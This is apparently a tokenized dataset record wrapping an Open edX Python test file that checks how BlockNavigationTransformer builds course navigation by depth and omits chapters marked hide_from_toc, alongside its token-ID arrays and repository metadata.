[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 13277, 14, 1541, 272, 32202, 23597, 339, 5673, 626, 9031, 314, 849, 2457, 14, 339, 520, 7307, 26, 1898, 8315, 13, 6965, 701, 314, 14493, 8099, 12, 1937, 10610, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 2436, 14, 199, 624, 421, 199, 318, 4838, 63, 4273, 8, 1745, 12, 4766, 12, 10426, 29, 403, 304, 272, 408, 272, 3645, 642, 1083, 370, 4838, 376, 6076, 402, 4766, 370, 272, 282, 2547, 14, 982, 10426, 365, 1627, 652, 1159, 24172, 370, 314, 272, 2457, 12, 4257, 314, 2457, 23192, 658, 403, 2313, 272, 408, 272, 347, 485, 4998, 8, 1541, 3131, 2547, 304, 267, 367, 1526, 315, 2457, 3754, 1541, 8, 11729, 12, 2547, 304, 288, 1995, 1526, 272, 367, 2457, 63, 315, 4766, 26, 267, 2547, 275, 485, 4998, 8, 1541, 3131, 2547, 9, 272, 372, 2547, 421, 199, 318, 3486, 1541, 8, 70, 304, 272, 408, 272, 30684, 626, 15373, 282, 805, 1901, 282, 2457, 447, 398, 768, 18815, 267, 347, 12141, 8, 11729, 12, 2547, 12, 1511, 304, 288, 367, 17860, 12, 574, 315, 2547, 26, 355, 1995, 17860, 12, 574, 14, 2325, 342, 272, 408, 272, 372, 730, 8, 70, 855, 354, 3108, 334, 3481, 4131, 4706, 469, 355, 283, 1593, 356, 258, 289, 12, 355, 2560, 578, 3706, 257, 2519, 8, 70, 12, 2560, 578, 363, 659, 355, 2560, 1301, 3706, 420, 289, 855, 1301, 363, 288, 3828, 421, 199, 533, 9388, 8, 785, 304, 272, 408, 272, 3758, 2457, 14, 30184, 642, 1021, 503, 675, 314, 658, 18815, 64, 272, 7531, 370, 1218, 5705, 4766, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1011, 1419, 304, 267, 291, 14, 1419, 275, 1511, 339, 347, 2457, 8, 277, 12, 10426, 12, 2547, 304, 267, 746, 4279, 342, 421, 199, 533, 6801, 4131, 8, 4131, 304, 272, 408, 272, 11836, 1021, 1202, 701, 658, 18815, 64, 370, 1218, 3486, 272, 805, 4766, 641, 314, 23158, 14, 710, 658, 18815, 64, 7531, 272, 5847, 8491, 9180, 402, 642, 1021, 367, 272, 3423, 3032, 370, 652, 14, 272, 408, 272, 805, 275, 488, 339, 347, 636, 826, 721, 277, 12, 1011, 1419, 304, 267, 340, 440, 2688, 8, 277, 12, 283, 1593, 735, 288, 746, 3146, 3508, 82, 1202, 1928, 3914, 805, 7, 450, 1169, 291, 855, 533, 4914, 354, 3368, 267, 9388, 855, 826, 721, 277, 12, 1011, 1419, 9, 339, 347, 2457, 8, 277, 12, 10426, 12, 2547, 304, 267, 327, 4287, 26, 3507, 13, 1328, 29, 37, 6019, 18, 267, 367, 17860, 12, 574, 315, 291, 14, 1593, 8, 11729, 12, 2547, 12, 291, 14, 1419, 304, 288, 1995, 17860, 12, 574, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 13277, 14, 1541, 272, 32202, 23597, 339, 5673, 626, 9031, 314, 849, 2457, 14, 339, 520, 7307, 26, 1898, 8315, 13, 6965, 701, 314, 14493, 8099, 12, 1937, 10610, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 2436, 14, 199, 624, 421, 199, 318, 4838, 63, 4273, 8, 1745, 12, 4766, 12, 10426, 29, 403, 304, 272, 408, 272, 3645, 642, 1083, 370, 4838, 376, 6076, 402, 4766, 370, 272, 282, 2547, 14, 982, 10426, 365, 1627, 652, 1159, 24172, 370, 314, 272, 2457, 12, 4257, 314, 2457, 23192, 658, 403, 2313, 272, 408, 272, 347, 485, 4998, 8, 1541, 3131, 2547, 304, 267, 367, 1526, 315, 2457, 3754, 1541, 8, 11729, 12, 2547, 304, 288, 1995, 1526, 272, 367, 2457, 63, 315, 4766, 26, 267, 2547, 275, 485, 4998, 8, 1541, 3131, 2547, 9, 272, 372, 2547, 421, 199, 318, 3486, 1541, 8, 70, 304, 272, 408, 272, 30684, 626, 15373, 282, 805, 1901, 282, 2457, 447, 398, 768, 18815, 267, 347, 12141, 8, 11729, 12, 2547, 12, 1511, 304, 288, 367, 17860, 12, 574, 315, 2547, 26, 355, 1995, 17860, 12, 574, 14, 2325, 342, 272, 408, 272, 372, 730, 8, 70, 855, 354, 3108, 334, 3481, 4131, 4706, 469, 355, 283, 1593, 356, 258, 289, 12, 355, 2560, 578, 3706, 257, 2519, 8, 70, 12, 2560, 578, 363, 659, 355, 2560, 1301, 3706, 420, 289, 855, 1301, 363, 288, 3828, 421, 199, 533, 9388, 8, 785, 304, 272, 408, 272, 3758, 2457, 14, 30184, 642, 1021, 503, 675, 314, 658, 18815, 64, 272, 7531, 370, 1218, 5705, 4766, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1011, 1419, 304, 267, 291, 14, 1419, 275, 1511, 339, 347, 2457, 8, 277, 12, 10426, 12, 2547, 304, 267, 746, 4279, 342, 421, 199, 533, 6801, 4131, 8, 4131, 304, 272, 408, 272, 11836, 1021, 1202, 701, 658, 18815, 64, 370, 1218, 3486, 272, 805, 4766, 641, 314, 23158, 14, 710, 658, 18815, 64, 7531, 272, 5847, 8491, 9180, 402, 642, 1021, 367, 272, 3423, 3032, 370, 652, 14, 272, 408, 272, 805, 275, 488, 339, 347, 636, 826, 721, 277, 12, 1011, 1419, 304, 267, 340, 440, 2688, 8, 277, 12, 283, 1593, 735, 288, 746, 3146, 3508, 82, 1202, 1928, 3914, 805, 7, 450, 1169, 291, 855, 533, 4914, 354, 3368, 267, 9388, 855, 826, 721, 277, 12, 1011, 1419, 9, 339, 347, 2457, 8, 277, 12, 10426, 12, 2547, 304, 267, 327, 4287, 26, 3507, 13, 1328, 29, 37, 6019, 18, 267, 367, 17860, 12, 574, 315, 291, 14, 1593, 8, 11729, 12, 2547, 12, 291, 14, 1419, 304, 288, 1995, 17860, 12, 574, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
CredoReference/edx-platform
lms/djangoapps/course_api/blocks/transformers/tests/test_navigation.py
13
5905
# pylint: disable=protected-access """ Tests for BlockNavigationTransformer. """ from unittest import TestCase import ddt from lms.djangoapps.course_api.blocks.transformers.block_depth import BlockDepthTransformer from lms.djangoapps.course_api.blocks.transformers.navigation import BlockNavigationTransformer from openedx.core.djangoapps.content.block_structure.block_structure import BlockStructureModulestoreData from openedx.core.djangoapps.content.block_structure.factory import BlockStructureFactory from openedx.core.djangoapps.content.block_structure.tests.helpers import ChildrenMapTestMixin from xmodule.modulestore import ModuleStoreEnum from xmodule.modulestore.tests.django_utils import ModuleStoreTestCase from xmodule.modulestore.tests.factories import SampleCourseFactory @ddt.ddt class BlockNavigationTransformerTestCase(TestCase, ChildrenMapTestMixin): """ Course-agnostic test class for testing the Navigation transformer. """ shard = 4 @ddt.data( (0, 0, [], []), (0, 0, ChildrenMapTestMixin.LINEAR_CHILDREN_MAP, [[], [], [], []]), (None, 0, ChildrenMapTestMixin.LINEAR_CHILDREN_MAP, [[1, 2, 3], [], [], []]), (None, 1, ChildrenMapTestMixin.LINEAR_CHILDREN_MAP, [[1], [2, 3], [], []]), (None, 2, ChildrenMapTestMixin.LINEAR_CHILDREN_MAP, [[1], [2], [3], []]), (None, 3, ChildrenMapTestMixin.LINEAR_CHILDREN_MAP, [[1], [2], [3], []]), (None, 4, ChildrenMapTestMixin.LINEAR_CHILDREN_MAP, [[1], [2], [3], []]), (1, 4, ChildrenMapTestMixin.LINEAR_CHILDREN_MAP, [[1], [], [], []]), (2, 4, ChildrenMapTestMixin.LINEAR_CHILDREN_MAP, [[1], [2], [], []]), (0, 0, ChildrenMapTestMixin.DAG_CHILDREN_MAP, [[], [], [], [], [], [], []]), (0, 0, ChildrenMapTestMixin.DAG_CHILDREN_MAP, [[], [], [], [], [], [], []]), (None, 0, ChildrenMapTestMixin.DAG_CHILDREN_MAP, [[1, 2, 3, 4, 5, 6], [], [], [], [], [], []]), (None, 1, ChildrenMapTestMixin.DAG_CHILDREN_MAP, [[1, 2], [3, 5, 6], [3, 4, 5, 6], [], [], [], []]), (None, 2, ChildrenMapTestMixin.DAG_CHILDREN_MAP, [[1, 2], [3], [3, 4], [5, 6], [], [], []]), (None, 3, ChildrenMapTestMixin.DAG_CHILDREN_MAP, [[1, 2], [3], [3, 4], [5, 6], [], [], []]), (None, 4, ChildrenMapTestMixin.DAG_CHILDREN_MAP, [[1, 2], [3], [3, 4], [5, 6], [], [], []]), (1, 4, ChildrenMapTestMixin.DAG_CHILDREN_MAP, [[1, 2], [], [], [], [], [], []]), (2, 4, ChildrenMapTestMixin.DAG_CHILDREN_MAP, [[1, 2], [3], [3, 4], [], [], [], []]), ) @ddt.unpack def test_navigation(self, depth, nav_depth, children_map, expected_nav_map): block_structure = self.create_block_structure(children_map, BlockStructureModulestoreData) BlockDepthTransformer(depth).transform(usage_info=None, block_structure=block_structure) BlockNavigationTransformer(nav_depth).transform(usage_info=None, block_structure=block_structure) block_structure._prune_unreachable() for block_key, expected_nav in enumerate(expected_nav_map): self.assertSetEqual( set(unicode(block) for block in expected_nav), set( block_structure.get_transformer_block_field( block_key, BlockNavigationTransformer, BlockNavigationTransformer.BLOCK_NAVIGATION, [] ) ), ) class BlockNavigationTransformerCourseTestCase(ModuleStoreTestCase): """ Uses SampleCourseFactory and Modulestore to test the Navigation transformer, specifically to test enforcement of the hide_from_toc field """ shard = 4 def test_hide_from_toc(self): course_key = SampleCourseFactory.create().id course_usage_key = self.store.make_course_usage_key(course_key) # hide chapter_x from TOC chapter_x_key = course_key.make_usage_key('chapter', 'chapter_x') chapter_x = self.store.get_item(chapter_x_key) chapter_x.hide_from_toc = True self.store.update_item(chapter_x, ModuleStoreEnum.UserID.test) block_structure = BlockStructureFactory.create_from_modulestore(course_usage_key, self.store) # collect phase BlockDepthTransformer.collect(block_structure) BlockNavigationTransformer.collect(block_structure) block_structure._collect_requested_xblock_fields() self.assertIn(chapter_x_key, block_structure) # transform phase BlockDepthTransformer().transform(usage_info=None, block_structure=block_structure) BlockNavigationTransformer(0).transform(usage_info=None, block_structure=block_structure) block_structure._prune_unreachable() self.assertIn(chapter_x_key, block_structure) course_descendants = block_structure.get_transformer_block_field( course_usage_key, BlockNavigationTransformer, BlockNavigationTransformer.BLOCK_NAVIGATION, ) # chapter_y and its descendants should be included for block_key in [ course_key.make_usage_key('chapter', 'chapter_y'), course_key.make_usage_key('sequential', 'sequential_y1'), course_key.make_usage_key('vertical', 'vertical_y1a'), course_key.make_usage_key('problem', 'problem_y1a_1'), ]: self.assertIn(unicode(block_key), course_descendants) # chapter_x and its descendants should not be included for block_key in [ chapter_x_key, course_key.make_usage_key('sequential', 'sequential_x1'), course_key.make_usage_key('vertical', 'vertical_x1a'), course_key.make_usage_key('problem', 'problem_x1a_1'), ]: self.assertNotIn(unicode(block_key), course_descendants)
agpl-3.0
[ 3, 4287, 26, 3507, 29, 6798, 13, 2732, 199, 624, 199, 2925, 367, 8651, 19617, 5360, 19761, 14, 199, 624, 199, 504, 2882, 492, 7640, 199, 199, 646, 366, 3583, 199, 199, 504, 21577, 14, 16432, 14, 1972, 63, 1246, 14, 4166, 14, 1515, 22932, 14, 1457, 63, 4631, 492, 8651, 14125, 19761, 199, 504, 21577, 14, 16432, 14, 1972, 63, 1246, 14, 4166, 14, 1515, 22932, 14, 24148, 492, 8651, 19617, 5360, 19761, 199, 504, 22709, 14, 1018, 14, 16432, 14, 1317, 14, 1457, 63, 6976, 14, 1457, 63, 6976, 492, 8651, 10766, 2377, 1617, 1451, 199, 504, 22709, 14, 1018, 14, 16432, 14, 1317, 14, 1457, 63, 6976, 14, 3702, 492, 8651, 10766, 2927, 199, 504, 22709, 14, 1018, 14, 16432, 14, 1317, 14, 1457, 63, 6976, 14, 2219, 14, 7546, 492, 12988, 828, 2956, 22060, 199, 504, 9872, 14, 10012, 492, 23431, 199, 504, 9872, 14, 10012, 14, 2219, 14, 1176, 63, 1208, 492, 17996, 1746, 199, 504, 9872, 14, 10012, 14, 2219, 14, 15406, 492, 15227, 6979, 2927, 421, 199, 32, 11138, 14, 11138, 199, 533, 8651, 19617, 5360, 19761, 1746, 8, 1746, 12, 12988, 828, 2956, 22060, 304, 272, 408, 272, 5531, 13, 643, 19075, 511, 1021, 367, 5343, 314, 20721, 5360, 21484, 14, 272, 408, 272, 11814, 275, 841, 339, 768, 11138, 14, 576, 8, 267, 334, 16, 12, 378, 12, 990, 14431, 398, 334, 16, 12, 378, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 467, 990, 990, 942, 2522, 267, 334, 403, 12, 378, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 12, 650, 467, 990, 990, 942, 2522, 267, 334, 403, 12, 413, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 359, 18, 12, 650, 467, 990, 942, 2522, 267, 334, 403, 12, 499, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 359, 18, 467, 359, 19, 467, 942, 2522, 267, 334, 403, 12, 650, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 359, 18, 467, 359, 19, 467, 942, 2522, 267, 334, 403, 12, 841, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 359, 18, 467, 359, 19, 467, 942, 2522, 267, 334, 17, 12, 841, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 990, 990, 942, 2522, 267, 334, 18, 12, 841, 12, 12988, 828, 2956, 22060, 14, 6174, 689, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 467, 359, 18, 467, 990, 942, 2522, 398, 334, 16, 12, 378, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 467, 990, 990, 990, 990, 990, 942, 2522, 267, 334, 16, 12, 378, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 467, 990, 990, 990, 990, 990, 942, 2522, 267, 334, 403, 12, 378, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 12, 650, 12, 841, 12, 959, 12, 1227, 467, 990, 990, 990, 990, 990, 942, 2522, 267, 334, 403, 12, 413, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 359, 19, 12, 959, 12, 1227, 467, 359, 19, 12, 841, 12, 959, 12, 1227, 467, 990, 990, 990, 942, 2522, 267, 334, 403, 12, 499, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 359, 19, 467, 359, 19, 12, 841, 467, 359, 21, 12, 1227, 467, 990, 990, 942, 2522, 267, 334, 403, 12, 650, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 359, 19, 467, 359, 19, 12, 841, 467, 359, 21, 12, 1227, 467, 990, 990, 942, 2522, 267, 334, 403, 12, 841, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 359, 19, 467, 359, 19, 12, 841, 467, 359, 21, 12, 1227, 467, 990, 990, 942, 2522, 267, 334, 17, 12, 841, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 990, 990, 990, 990, 990, 942, 2522, 267, 334, 18, 12, 841, 12, 12988, 828, 2956, 22060, 14, 28211, 63, 1244, 1193, 4564, 742, 63, 5443, 12, 3474, 17, 12, 499, 467, 359, 19, 467, 359, 19, 12, 841, 467, 990, 990, 990, 942, 2522, 272, 776, 272, 768, 11138, 14, 5301, 272, 347, 511, 63, 24148, 8, 277, 12, 5818, 12, 16681, 63, 4631, 12, 4978, 63, 1130, 12, 1420, 63, 10927, 63, 1130, 304, 398, 1853, 63, 6976, 275, 291, 14, 981, 63, 1457, 63, 6976, 8, 3223, 63, 1130, 12, 8651, 10766, 2377, 1617, 1451, 9, 267, 8651, 14125, 19761, 8, 4631, 680, 4711, 8, 3807, 63, 815, 29, 403, 12, 1853, 63, 6976, 29, 1457, 63, 6976, 9, 267, 8651, 19617, 5360, 19761, 8, 10927, 63, 4631, 680, 4711, 8, 3807, 63, 815, 29, 403, 12, 1853, 63, 6976, 29, 1457, 63, 6976, 9, 267, 1853, 63, 6976, 423, 22268, 63, 26522, 342, 398, 367, 1853, 63, 498, 12, 1420, 63, 10927, 315, 3874, 8, 2062, 63, 10927, 63, 1130, 304, 288, 291, 14, 479, 27264, 8, 355, 663, 8, 2975, 8, 1457, 9, 367, 1853, 315, 1420, 63, 10927, 395, 355, 663, 8, 490, 1853, 63, 6976, 14, 362, 63, 19754, 63, 1457, 63, 698, 8, 717, 1853, 63, 498, 12, 717, 8651, 19617, 5360, 19761, 12, 717, 8651, 19617, 5360, 19761, 14, 8475, 63, 46, 6087, 1277, 2594, 12, 717, 942, 490, 776, 355, 2318, 288, 776, 421, 199, 533, 8651, 19617, 5360, 19761, 6979, 1746, 8, 27863, 304 ]
